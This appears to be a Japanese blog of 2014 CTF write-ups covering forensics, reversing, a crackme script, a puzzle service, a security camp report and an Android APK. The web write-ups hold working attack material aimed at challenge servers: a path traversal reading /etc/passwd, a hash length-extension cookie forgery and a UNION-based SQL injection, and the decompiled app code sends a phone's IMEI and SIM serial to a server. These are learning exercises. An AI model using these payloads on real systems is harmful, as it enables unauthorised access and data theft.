2014年10月13日月曜日

ASIS CTF Finals 2014 Writeup / forensic 125

Capsule
Forensics 125


$file capsule_239acad5fcfe4722e624da66c9c02542
 capsule_239acad5fcfe4722e624da66c9c02542: XZ compressed data

解凍し中身を見るとヘッダーが”0A 0D 0D 0A”なので pcap-ng capture file でした。
キャプチャーファイルということでバイナリエディタで開く。


epsファイルがあったので取り出す。

%!PS-Adobe-3.0 EPSF-3.0
%%Creator: potrace 1.11, written by Peter Selinger 2001-2013
%%LanguageLevel: 2
%%BoundingBox: 0 0 150 150
%%HiResBoundingBox: 0 0 150.000000 150.000000
%%Pages: 1
%%EndComments
%%Page: 1 1
currentfile /ASCII85Decode filter /LZWDecode filter cvx exec
J/lc\@jia36p6os-K?5!aCR.L@HM5X8G7'_Rgk/$,T)ho0q6GnR,f*WHT4QlU@Ws&Afqrs$
:4h$OrH%kbbgS4!L3(`1eQ&KZQ[iV+;tM3o.t+1fh)fNBp@jbL5ABuL^n&r&:iPI1X[d01S
B860V)?A'!l\#[^[5S,F`,RiEdUm)'!9V6VQfVh2!Oi"^FZD_
tLA>-$.69@Rbe1QK9<"`#a$o//G)K+5W9[0^m>S-jHd/-M)BID+V54`#`VuqKLP9['qWD$'
/X,2$/cg;W3Mg1%p8#C^Ld8VfM9sP5MSn3`]Srgl`pUP!EmFqLOE+A`%rg#6Su#pnp9V-PP
N\qt$S+QMVJh\'&2Rg0hW544dT/3C.lc%DM(6)sikZcP.%=S.[aK6ZN6NWTRNTY!Q&p=
@@GT[#P+02VZ%9f@6RO%5CuU:.88?_0Tu(gf-R,r
>g9mWeL_r+FP0P5u+bF[/L2/pl)RuKc(mm5Si+/2+PgF,M4<_zk6in50 data-blogger-escaped-e9e="" data-blogger-escaped-h="" data-blogger-escaped-k="[c513#!8Y/SJU`dEQ?9G?tu.AD]8H]cDM%<7#9%]HOu7:g%31&/lo2/VF:-J" data-blogger-escaped-xtvndm4="">^f$V=!5T3qQCOKLnXmfrr:_lbH)DiUpEIM?/kB*QJn?lQ"#Ra
6fJ^f?]T\&")Vin'G(&Q4AJLh)n:\%8<(hi7]5
6ft21pFe=eQ8"ihEqTj/7)D9i;d!OjtGA'!JTo@FUe+M2p\_Sc#db8&]QsQK/?HRF+S`T.6)C53B;
aH`VGD6hReZ;MS"\$FJ4.#AT?ZPR`mX]m=a!e8q>MVCaa[*W%e?fpifl\aofr3h#Lg(3[Rg@3VOSWklnIL!^K>9@IqinO5i
I,7#MEQ!+1@P*U8M(KTHO4cGWPX2`r7UB87NE_]WppB@REV)5'h
_-(bM1a(%T/(YE\;1*S$9uZM%VK/E*6^Npm<]d>&kZO<)SRj>65_EZLhr$1GB^4+%K2tBM,
't2*P&qT]H&Cu'<%N"[(uIP+\@e2-iHr]If"U5m9AX/#.8iHo`[J;"T1F9+mLgT\QK2m^"-
df.D0IF`(o#L]6u?t)"@#8#/(J1E.8=qkTS$Gg+Cn_R`?o*-a))ojK:d5r)H3_NW+]-Dqus
B;83@^^n5\M'/F1F46$J'sVu.H6#U3nD5]%YP3p&SBX;X:e`=$1^Ro#,aR)]A/727>8V6+0
e1<46 data-blogger-escaped-fn8="[-Nr20RV(#NPPT=&?AZ;$3j0?p">DA3K*%D1"/rGU3FXp?)(3QH@s,F
="bO@?m[+CWbC/bD=mKt&*ghB12Q%!dhV34G@`9J&;Q=qn1nK^S6#:+";a:Am00
_KuU$t@#n(+]VEQk9^5e<4d69mi data-blogger-escaped-aidbr="" data-blogger-escaped-b7iq="" data-blogger-escaped-b="" data-blogger-escaped-d="" data-blogger-escaped-e="" data-blogger-escaped-f="" data-blogger-escaped-ftp="" data-blogger-escaped-gqku="" data-blogger-escaped-h="" data-blogger-escaped-ltcg="" data-blogger-escaped-nppcxpwp0="" data-blogger-escaped-q="" data-blogger-escaped-r-t="" data-blogger-escaped-ruv="" data-blogger-escaped-s="" data-blogger-escaped-se0.="" data-blogger-escaped-u="">?T"
[._dor+YI!G,@@4#b-PO%NT!dCWn')e2MGdf677S!MLb5=O=_(JZ8Ja(u[Kc3ff0W&t;H6G
nDX2_*`V#"WX7^RJZ8+m-kZ=0llYLegh81Yc:@,<43n data-blogger-escaped-b1="" data-blogger-escaped-j1bnb="" data-blogger-escaped-o="" data-blogger-escaped-p="">m?GYhj2Q-W&V@Ar'uHs+X]\l)ppTSBUn$6SQb#&Y3K&m.BU_#()YUpOH8u=)=!1@DZ
/A:J\$qbC8TAr-FPbQFN
AZ2:5%I)MX@?mNpB8Z*sqk6+KJqHK&H;Z)KH&X=V)\.%5@GL1dgE1P[]!26MD'X4>_;Gt,b
X%XE>@+#ZS$OBL+*[8=&`Ju^D4[P25`QWb\Sj"%T,uqF&,[kL\=i*Zumk2-7)R^#ZRG^@'@_3oT"D!02
U@+/lJUYJqXUZm2@j:Cmt^EG_LO)AsAm!eo3l^Lo7i38FjdI/7`>;f+3+e/S9oPG\ZX.3%!
#EY3IJ^LjdOdl=OQqk9s0P0XZnE;(#nCU[4GkS7)n*nBNE_92:,CStKafKgS3#-a(P-Pj@P
SG"edYn3gYOMJB(NKBPX&DsV-cU8nVhc:]oo/:dJ))"qY0N^qAB#h$19)GqhnF6j*\9VPpt
Z@biNXP&_qclR>`#X^8d(Pg9?j%%u`CEEWB0!W~>
%%EOF


しかしこれはflagではなかった。
ほかにもpngやjpegがあったがそれも違って バイナリエディタで眺めていると


何かよくわからないものがあったのでテキストで表示。

    _    ____ ___ ____     _____ _  ___   __       ___  _     _       ___      _     _ _  _    __        ___         ___      _           _  _  _____          _                 ___  _    ____   ___  
   / \  / ___|_ _/ ___|   |___ // |( _ ) / _| ___ / _ \| |__ / | ___ / _ \  __| | __| | || |  / _| __ _ / _ \  __ _ ( _ )  __| | ___ __ _| || ||___ /  ___  __| | __ _  ___ ___ ( _ )| |__|___ \ / _ \ 
  / _ \ \___ \| |\___ \     |_ \| |/ _ \| |_ / _ \ | | | '_ \| |/ __| | | |/ _` |/ _` | || |_| |_ / _` | | | |/ _` |/ _ \ / _` |/ __/ _` | || |_ |_ \ / _ \/ _` |/ _` |/ __/ _ \/ _ \| '_ \ __) | | | |
 / ___ \ ___) | | ___) |   ___) | | (_) |  _|  __/ |_| | |_) | | (__| |_| | (_| | (_| |__   _|  _| (_| | |_| | (_| | (_) | (_| | (_| (_| |__   _|__) |  __/ (_| | (_| | (_|  __/ (_) | |_) / __/| |_| |
/_/   \_\____/___|____/___|____/|_|\___/|_|  \___|\___/|_.__/|_|\___|\___/ \__,_|\__,_|  |_| |_|  \__,_|\___/ \__,_|\___/ \__,_|\___\__,_|  |_||____/ \___|\__,_|\__,_|\___\___|\___/|_.__/_____|\___/ 
                     |_____|           



ということで
ASIS_318fe0b1c0dd4fa0a8dca43edace8b20
これがフラグ



ちなみに このファイルWiresharkで読み込めなかったので
http://f00l.de/hacking/pcapfix.php
このサイトで修復してもらったりもしました。

2014年9月15日月曜日

No cON Name CTF Quals 2014 Writeup

cannaBINoid BIN 300

Get the key. The flag is: "NcN_" + sha1sum(key)

$ file cannabinoid
cannabinoid: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped


このプログラムを実行すると入力待ちになるのでとりあえず適当に入力

$./cannabinoid
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
$

すると終了する

idaで見る
.text:080483B0                 public start
.text:080483B0 start           proc near
.text:080483B0                 xor     ebp, ebp
.text:080483B2                 pop     esi
.text:080483B3                 mov     ecx, esp
.text:080483B5                 and     esp, 0FFFFFFF0h
.text:080483B8                 push    eax
.text:080483B9                 push    esp
.text:080483BA                 push    edx
.text:080483BB                 push    offset locret_8048680
.text:080483C0                 push    offset sub_8048610
.text:080483C5                 push    ecx
.text:080483C6                 push    esi
.text:080483C7                 push    offset loc_80484AB
.text:080483CC                 call    ___libc_start_main


text:080484AB loc_80484AB:                            ; DATA XREF: start+17 o
.text:080484AB                 lea     ecx, [esp+4]
.text:080484AF                 and     esp, 0FFFFFFF0h
.text:080484B2                 push    dword ptr [ecx-4]
.text:080484B5                 push    ebp
.text:080484B6                 mov     ebp, esp
.text:080484B8                 push    ebx
.text:080484B9                 push    ecx
.text:080484BA                 sub     esp, 0A0h
.text:080484C0                 mov     ebx, ecx
.text:080484C2                 mov     byte ptr [ebp-0A4h], 59h
.text:080484C9                 mov     byte ptr [ebp-0A3h], 6Fh
.text:080484D0                 mov     byte ptr [ebp-0A2h], 75h
.text:080484D7                 mov     byte ptr [ebp-0A1h], 20h
.text:080484DE                 mov     byte ptr [ebp-0A0h], 67h
.text:080484E5                 mov     byte ptr [ebp-9Fh], 6Fh
.text:080484EC                 mov     byte ptr [ebp-9Eh], 74h
.text:080484F3                 mov     byte ptr [ebp-9Dh], 20h
.text:080484FA                 mov     byte ptr [ebp-9Ch], 69h
.text:08048501                 mov     byte ptr [ebp-9Bh], 74h
.text:08048508                 mov     byte ptr [ebp-9Ah], 21h
.text:0804850F                 mov     byte ptr [ebp-99h], 0
.text:08048516                 cmp     dword ptr [ebx], 1     ←引数があるかみてる
.text:08048519                 jz      short loc_8048525
.text:0804851B                 mov     eax, 1
.text:08048520                 jmp     loc_80485FE         ←あったら終了



最初に You got it! という文字列を生成している
その後freadとかやり

.text:080485B3                 mov     edx, [ebp-10h]
.text:080485B6                 mov     eax, [ebp-18h]
.text:080485B9                 add     eax, edx
.text:080485BB                 movzx   edx, byte ptr [eax]
.text:080485BE                 lea     ecx, [ebp-98h]
.text:080485C4                 mov     eax, [ebp-10h]
.text:080485C7                 add     eax, ecx
.text:080485C9                 movzx   eax, byte ptr [eax]
.text:080485CC                 cmp     dl, al
.text:080485CE                 setz    al
.text:080485D1                 movzx   eax, al
.text:080485D4                 and     [ebp-0Ch], eax
.text:080485D7                 add     dword ptr [ebp-10h], 1
.text:080485DB
.text:080485DB loc_80485DB:                            ; CODE XREF: .text:080485B1 j
.text:080485DB                 cmp     dword ptr [ebp-10h], 7Fh
.text:080485DF                 jle     short loc_80485B3


cmp dl,al を比較しつつ 0x80回ループをまわしている
gdbで見るとalには自分が入力した文字が入っていたのでdlを見ていくことに



#!/usr/bin/gdb
#gdb -x script.py

import gdb

f=open('log','wb')
gdb.execute('file cannabinoid')

gdb.execute('b*0x80485cc')
gdb.execute('display/x $dl')
gdb.execute('r')
d = gdb.execute('p $dl',to_string=True).split('$1 = ')[1]
f.write(chr(int(d,16)))
for i in xrange(1,0x80):
        d=gdb.execute('c',to_string=True).split("1: /x $dl = ")[1]
        f.write(chr(int(d,16)))
gdb.execute('q')


とりあえずファイルに吐き出してみる。

$cat log | hexdump -C

00000000  7f 45 4c 46 01 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 03 00 01 00 00 00  b0 83 04 08 34 00 00 00  |............4...|
00000020  e8 09 00 00 00 00 00 00  34 00 20 00 08 00 28 00  |........4. ...(.|
00000030  1c 00 1b 00 06 00 00 00  34 00 00 00 34 80 04 08  |........4...4...|
00000040  34 80 04 08 00 01 00 00  00 01 00 00 05 00 00 00  |4...............|
00000050  04 00 00 00 03 00 00 00  34 01 00 00 34 81 04 08  |........4...4...|
00000060  34 81 04 08 13 00 00 00  13 00 00 00 04 00 00 00  |4...............|
00000070  01 00 00 00 01 00 00 00  00 00 00 00 00 80 04 08  |................|
00000080

$cat log | ./cannabinoid
You got it!

The flag is: "NcN_" + sha1sum(key)
後はこの形式に合わせて
$sha1sum log
effaf80a641b28a8d8a750b99ef740593bb3dcbd

flag is 
NcN_effaf80a641b28a8d8a750b99ef740593bb3dcbd



最初 0x7f 0x45 0x46 が出てきたときに elfの中にelfがあるのかと絶望していたがこれがkeyでよかった。




2014年8月17日日曜日

セキュリティキャンプ全国大会2014に行ってきました

自分はソフトウェアセキュリティで参加しました。


専門講義について書いていこうと思います。(それ以外の部分は他の方が書いてくれるはず



事前課題について

1、用語・キーワードについて詳しく調べレポートにまとめる
フォレンジックの課題で、BIOS/UEFIって何?など用語を詳しく調べるものでした。

2、プログラムを静的解析して、解析結果をまとめる
idbファイルが渡されIDAで解析を行うものでした。
実行ファイルがないので動的解析をすることができず、ひたすらアセンブラを読まないといけないものでした。

3、windowsのプログラムが用意され、それに対してexploitをする
バッファオーバーフローが発生するプログラムに対してexploitを行うもので、Win32用のshellcodeを1から書くものでした。

4、各種ツールを使い慣れる
バイナリ系
・IDA freeware version(x86逆アセンブラ)
 http://www.hex-rays.com/products/ida/support/download_freeware.shtml
・OllyDbg(Windows用デバッガ)
 http://www.ollydbg.de/
・Immunity Debugger(Windows用デバッガ)
 http://www.immunityinc.com/products-immdbg.shtml
・Stirling(バイナリエディタ)
 http://www.vector.co.jp/soft/dl/win95/util/se079072.html
・BZ(バイナリエディタ)
 http://www.vector.co.jp/soft/win95/util/se032859.html
・Sysinternals Suite(Windows用監視ツールなど)
 http://technet.microsoft.com/ja-jp/sysinternals/bb842062

フォレンジック系
・SANS SIFT(フォレンジック解析用のLinuxディストリビューション)
 http://digital-forensics.sans.org/community/downloads
・TimeLord(時刻情報のデコードを行うツール)
  http://computerforensics.parsonage.co.uk/timelord/timelord.htm
・pytsk(TSKの機能を拡張するPython binding)
  https://code.google.com/p/pytsk/

これらのツールに慣れろということでした。

事前課題をやらないと講義が辛くなるので必ずやりましょう。



講義について

講義は大きく分けて3つのことをしました。
1、マルウェア解析について
2、windowsのexploitについて
3、ディスクフォレンジック
4、インシデントレスポンス演習(グループワーク)

ものすごいレベルの高いところから講義が始まると思って心配していたが、基礎から始まり助かりました。
インシデントレスポンスでは1~3の講義で学んだことを全て使う演習でした。
講義の内容は省略で



感想

食事中や休憩時間に問題のアプローチどうやってやったー?など普段できない話をたくさんすることができてとても良かったです。みんなレベルが高く話を聞くのが面白かった。

CTFでは各クラスでやったことの復習問題という感じで理解が更に深まったのでとても良かったです。

最後に
運営の方・講師・チューターの方々、本当に楽しい5日間ありがとうございました。


2014年7月6日日曜日

Pwnium CTF 2014 Writeup

Programming 300 Crackme Fast




http://41.231.53.44:9393/に繋ぐとバイナリがダウンロードされる


LPCK?? なんだかよくわからなかったが下にMZがあったのでそこから下をすべて切り出す
実行するとパスワードが聞かれる
Password :
aa
Sorry ! Incorrect pass
IDAで開きstringsからSorry ! Incorrect passを探す


loc_40138Dのところで入力した文字とパスワードの比較をしているみたいだったので、
OllyDbgで見ることに

パスワードにaaaaaaaaを入れて実行
入力した文字とパスワードを比較しているところにブレイクポイントをうち値を確認

EAX 00000061 → a
ECX 0000006c → l

EAXに入力した文字が入り ECXにはパスワードが入るなのでECXの値を監視する

パスワードはlF{Oc0Mg

ファイルを実行し確認
Password :
lF{Oc0Mg
Good Boy ! Send That pass to server to get the Flag
ということで
http://41.231.53.44:9393/check.php?p=lF{Oc0Mg
アクセスするとToo late ! 遅いといわれる

問題文に
Send the password in less than 2 seconds

どうがんばっても人力だと5分くらいかかってしまうのでプログラムを書くことにした。

まずパスワードがどこに保存されているかバイナリをみて確認する

0x1310にそれっぽいものを発見。しかし正解のlF{Oc0Mgこの文字列とは違うということでIDAデ処理を確認すると 
パスワードの文字と1をxorしていた。
後はプログラムを書く


プログラムでやることまとめる
1、ファイルをダウンロード
2、ファイルから文字列を取得
3、1とxorする
4、パスワードを送り返す

#! c:/Python27/python.exe
# -*- coding: utf-8 -*-

import urllib2, cookielib

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

d=opener.open("http://41.231.53.44:9393/").read()[0x1310:0x1330].replace('\x00', '')
passwd=''.join(chr(ord(b)^0x1) for b in d)

print passwd
print opener.open("http://41.231.53.44:9393/check.php?p="+passwd).read()

Flag: Pwnium{b1a371c90da6a1d2deba2f6ebcfe3fc0}

2014年5月11日日曜日

ASIS CTF writeup /forensic 150



ファイルをダウンロードするとxzで圧縮されていたので解凍
中にはpcapファイルが入っていた

とりあえずバイナリエディタで中身を見るとpcapの中にpcapファイルが入っていた


 これを抜き出してWiresharkで開くと

The capture file appears to be damaged or corrupt.
(pcap: File has 356738353-byte packet, bigger than maximum of 65535)


うまく開かなかったので↓のサイトで修復してもらった
http://f00l.de/hacking/pcapfix.php

修復後のファイル

開けるようになったがバイナリエディタのほうが見やすかったのでバイナリエディタで見る

%FAKE-HEADER 

%%Creator: ASIS-CTF-QUALS 100 (QUALS2014)

%%LanguageLevel: 2

%%CreationDate: D:20140506141008+04'30'

%%For: (username)

%%Title: (geany job #8)

%RBINumCopies: 1

%%Pages: (atend)

%%BoundingBox: (atend)

%%EndComments

%%BeginProlog

currentfile /ASCII85Decode filter /LZWDecode filter cvx exec



こんなものがあったのでWiresharkのTCP Follow Streamで抜き出してRawで保存
何かPDFっぽい何かがあったのが何かわからなかったのでいろいろとぐぐる

currentfile /ASCII85Decode filter /LZWDecode filter cvx exec
これで検索すると

https://www.assembla.com/code/wysiwyg/subversion/nodes/1/image%20files/aperture.eps
こんなサイトが、epsファイルらしい?

PostScriptによって記述されたベクタ形式の画像データ

ということで %FAKE-HEADERを%!PS-Adobe-3.0 EPSF-3.0これに変えると


flag:ASIS_54ca36b2e3e49fc30e566c1de0589f38



2014年5月5日月曜日

tkbctf3 writeup/Forensics 350/Web 250/Misc 250

Is the order a FAT?

Forensics 350

Find the flag.
Hint!: Use the metadata, Alice!

zipを解凍するとunknown.imgというイメージが出てくる。


内容はFAT12ぽいもの

ビットイメージを見てると画像か?圧縮ファイルか?見たいな塊があった

37 37 BC AF 27 1C おお7zipがある抜き出して解凍してみよう→だめ。


よく見たら37 37 BC AF 27 1C 2バイト目が37に変わっているみたいで

37 7A BC AF 27 1C 7Aに直してあげたら解凍できた。

参考に
https://www.itwebsupport.com/blog/reverse-engineering-hexadecimal-magic-numbers


中にoKNeJ.gifという画像がありflagが書いてあった





Misc 250

15-puzzleThe four lines make one set of input.Zero denotes the missing tile.If the input puzzle is solvable then send the count of the shortest steps to solve the puzzle (i.e. if it's possible to solve the puzzle in 4 steps, send "4\n\n" to the socket. \n denotes a line break.)If the puzzle is not solvable then send "NO\n\n". 
IP: 203.178.132.117, Port:3939

4*4のパズルで最短の手数を答える問題。解けない場合はNOを返す

最初プログラムを書いてチャレンジしていたのですが、問題が出て答えを送るまでの時間がとても長かったので手動でやりました。

http://www.ic-net.or.jp/home/takaken/e/15pz/

このツールを使って問題が表示されたら 並び替えて実行 並び替えて実行。

# nc 203.178.132.117 3939

Welcome. We are the fafrotskies.

Your answers must be terminated by an empty line, don't forget!



===== 15-Puzzle =====

Solve 15-Puzzle!

The four lines make one set of input.

Zero denotes the missing tile.

If the input puzzle is solvable then print the number of the shortest steps to solve the puzzle.

If the puzzle is not solvable then print the line "NO".



Stage #1

Enjoy!

#1

1 2 3 4

5 6 7 8

13 9 15 11

0 10 14 12

7



Stage 1 cleared.

Stage #2

The 2nd stage!

#1

1 2 6 3

5 10 12 4

9 7 8 15

13 0 14 11

16



#2

1 6 2 3

9 7 12 4

10 14 5 8

13 0 11 15

16



Stage 2 cleared.

Stage #3

The 3rd stage!

#1

1 2 3 4

0 6 8 11

5 10 7 12

9 13 14 15

11



#2

1 2 3 4

5 6 11 7

9 10 8 0

13 14 15 12

5



#3

1 3 12 4

6 2 0 7

5 10 11 8

9 13 14 15

15



Stage 3 cleared.

Stage #4

The 4th stage!

#1

6 2 1 3

5 10 14 4

9 12 0 8

13 11 7 15

28



#2

1 2 7 3

5 6 8 12

13 4 11 15

14 9 10 0

26



#3

5 1 6 3

8 0 2 4

10 11 7 12

9 13 14 15

18



#4

1 2 4 7

6 13 3 8

5 15 0 11

10 9 14 12

20



Stage 4 cleared.

Stage #5

The LAST stage!

#1

2 5 3 4

6 7 10 8

13 1 9 12

0 14 11 15

17



#2

1 2 4 8

5 7 3 11

10 6 9 0

14 13 15 12

21



#3

1 3 2 4

0 9 10 8

7 6 14 11

5 13 15 12

27



#4

1 6 2 7

9 5 4 11

10 0 8 15

13 14 12 3

23



#5

1 11 2 4

6 3 0 15

5 9 14 7

13 10 12 8

21



Complete! Flag is FLAG{N0_R4M3N_N0_L1F3!!}



Web250

miocatThe Development Support System -- miocat-> http://miocat.tkbctf.info

アクセスすると入力フォームと送信ボタンがあった。

送信すると
targetとlocaleをGETで渡している
http://miocat.tkbctf.info/request?target=&locale=en-US

適当に入力していたらエラーがでた。
入力値:http:/""<script>alert(1)</script>
Could not find a part of the path "/home/miocat/http:/""<script>alert(1)</script>".
入力した値が/home/miocat/の下に入るみたいだったので
後は
http://miocat.tkbctf.info/request?target=http://../../../etc/passwd&locale=en-US
入力値:http://../../../etc/passwd 
出力:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
syslog:x:102:105::/home/syslog:/bin/false
miocat:x:1001:1001:Miocat,,,Read /home/miocat/flag:/home/miocat:/bin/bash
chris:x:1000:1000::/home/chris:/bin/bash

適当に
http://miocat.tkbctf.info/request?target=http://../../../home/miocat/flag&locale=en-US
入力値:http://../../../home/miocat/flag   
出力:
flag: ElizabethDoesntSayLazy

適当にやってたらflagが表示されました。
これ直接flagってうっても出てたのかな?

2014年4月26日土曜日

Plaid CTF 2014 Writeup/Web150



問題ページにアクセス
http://54.211.6.40/index.php?page=index
http://54.211.6.40/index.php?page=about

GETでページを読み込んでいる

http://54.211.6.40/admin.phpにアクセスするが、Sorry, not authorized.になる


http://54.211.6.40/index.php?page=index.php
<?
  if (isset($_GET['page'])) {    

   if (strstr($_GET['page'], "secrets")) { echo "ERROR!\n"; }

    else { readfile(basename($_GET['page'])); }

  }

  else {

    readfile("index");

  }

?>


index.phpを見ることができる

http://54.211.6.40/index.php?page=admin.php

<?php

  require_once("secrets.php");

  $auth = false;

  if (isset($_COOKIE["auth"])) {

     $auth = unserialize($_COOKIE["auth"]);

     $hsh = $_COOKIE["hsh"];

     if ($hsh !== hash("sha256", $SECRET . strrev($_COOKIE["auth"]))) {

       $auth = false;

     }

  }

  else {

    $auth = false;

    $s = serialize($auth);

    setcookie("auth", $s);

    setcookie("hsh", hash("sha256", $SECRET . strrev($s)));

  }

  if ($auth) {

    if (isset($_GET['query'])) {

      $link = mysql_connect('localhost', $SQL_USER, $SQL_PASSWORD) or die('Could not connect: ' . mysql_error());

      mysql_select_db($SQL_DATABASE) or die('Could not select database');

      $qstr = mysql_real_escape_string($_GET['query']);

      $query = "SELECT amount FROM plaidcoin_wallets WHERE id=$qstr";

      $result = mysql_query($query) or die('Query failed: ' . mysql_error());

      $line = mysql_fetch_array($result, MYSQL_ASSOC);

      foreach ($line as $col_value) {

        echo "Wallet " . $_GET['query'] . " contains " . $col_value . " coins.";

      }

    } else {

       echo "<html><head><title>MtPOX Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='demo_form_action.asp' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>";

    }

  }

  else echo "Sorry, not authorized.";

?>


$authをTrueにすることができればSQLinjectionができそう

cookieのauthには
$auth = false;
$s = serialize($auth);
setcookie("auth", $s);

b:0;が入っている

$sがtrueになるような入力をする→b:1;
なおかつifが一致しなければならない

$s = serialize($auth);
if ($hsh !== hash("sha256", $SECRET . strrev($_COOKIE["auth"])))


$SECRETに何が入っているかわからないがaboutを見ると長さが書いてあった。
http://54.211.6.40/index.php?page=about
we make sure to authenticate admin cookies using an 8-byte salt.

$SECRETは8バイトだと書かれていたので
Length extension attackでtrueにしてみる


hash_extenderを使う

hash_extender -f sha256 -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -d ";0:b" -a ";1:b" -out-data-format=html -l 8 



 Type: sha256

Secret 
 length: 8

 New signature:967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1

 New string: %3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%60%3b1%3ab


cookieのセットの際に反転されていたのでNew stringの部分を反転させる
setcookie("hsh", hash("sha256", $SECRET . strrev($s)));

hsh:967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1
auth:b%3a1%3b%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b


これをcookieにセットしhttp://54.211.6.40/admin.phpにアクセス

認証を突破できたので後はSQLinjectionをするだけ

”を入力すると

Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\"' at line 1

mysql_real_escape_stringされているのでWHEREの中でいろいろとやってみる

http://54.211.6.40/admin.php?query=1%20or%201=1
Wallet 1 or 1=1 contains 1333337 coins.

unionでidを見てみる
http://54.211.6.40/admin.php?query=1%20union%20select%20id%20from%20plaidcoin_wallets;--
Wallet 1 union select id from plaidcoin_wallets;-- contains flag{phpPhPphpPPPphpcoin} coins.

ということで
flag{phpPhPphpPPPphpcoin}

2014年3月24日月曜日

Backdoor CTF Writeup Misc250-2

問題文


Misc 250

Username and password based login seemed a bit too monotonous. We developed an indigenous image based login system.
The login service is available here.
The image below can be used to login as the backdoor user. Unfortunately that doesn't serve any purpose.
Member image to login as backdoor user
Login as the sdslabs user for a change.




アクセスしてみる
http://backdoor.cognizance.org.in/problems/misc250-2/login/

画像をアップロードしてログインするらしい
とりあえず問題文に書いてあった画像をアップロードしてみる

Logged in as backdoor
backdoorというユーザーでログインできる

適当に作った画像を試しにアップロードしてみると
Sorry didn't recognize you.


StegSolveで問題文にあった画像を見てみると Red Green Blueそれぞれの0bit目の左上に何かがあったのでそれぞれ抽出してみると

backdoorという文字列が出てきた。


あとはここをsdslabsに変える (0x2baa6から手動で変えた。

https://www.dropbox.com/s/rt7kverz37wbwk5/sdslabs.bmp

変えた画像をアップロードする

Logged in as sdslabs
Congrats the flag is practice_makes_one_perfect


2014年3月5日水曜日

DEFKTHON CTF Writeup

Web300

we love it!

問題ファイル

apkファイルなのでデコンパイルする。
http://yuki312.blogspot.jp/2012/03/androidwindowsapk.html

MainActivity.java

// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.kpdus.com/jad.html
// Decompiler options: packimports(3) ansi 

package com.example.defkthonapp;

import android.app.Activity;
import android.os.Bundle;
import android.telephony.TelephonyManager;
import android.text.Editable;
import android.view.*;
import android.webkit.WebView;
import android.widget.EditText;
import android.widget.Toast;
import java.util.Random;
import org.apache.http.util.EncodingUtils;

public class MainActivity extends Activity
{

    public MainActivity()
    {
        Check = new Runnable() {

            public void run()
            {
                TelephonyManager telephonymanager = (TelephonyManager)getSystemService("phone");
                String s = telephonymanager.getDeviceId();
                String s1 = telephonymanager.getSimSerialNumber();
                int i = (new Random()).nextInt(300);
                ((WebView)findViewById(0x7f080003)).postUrl("http://challenges.defconkerala.com/web/300/update.php", EncodingUtils.getBytes((new StringBuilder("pwd=")).append(Integer.toString(i)).append("&imei=").append(s).append("&div=").append(s1).toString(), "BASE64"));
            }

            final MainActivity this$0;

            
            {
                this$0 = MainActivity.this;
                super();
            }
        }
;
    }

    public void loG(View view)
    {
        try
        {
            if(paswd.getText().toString().equals("paswd"))
            {
                Toast.makeText(getApplicationContext(), "Password Correct!!", 0).show();
                (new Thread(Check)).start();
            } else
            {
                Toast.makeText(getApplicationContext(), "Sorry Try Again!", 0).show();
            }
        }
        catch(Exception exception) { }
    }

    protected void onCreate(Bundle bundle)
    {
        super.onCreate(bundle);
        setContentView(0x7f030000);
        paswd = (EditText)findViewById(0x7f080001);
_L2:
        return;
        Exception exception;
        exception;
        if(true) goto _L2; else goto _L1
_L1:
    }

    public boolean onCreateOptionsMenu(Menu menu)
    {
        getMenuInflater().inflate(0x7f070000, menu);
        return true;
    }

    private Runnable Check;
    private EditText paswd;
}

パスワードを入力してボタンを押すとスレッドが動き出すようでその中身の処理をみる

http://challenges.defconkerala.com/web/300/update.phpにPOSTで投げている

パソコンのブラウザからアクセスしてみると、We love android !!と表示される
android端末からアクセスするとYou missed something. Keep Trying !!と表示される

ユーザーエージェントをandroidのものにしてパソコンからアクセスすると、You missed something. Keep Trying !!とでる

ということでプログラムを書いてみる

↓最終的に完成したプログラム


#! c:/Python27/python.exe
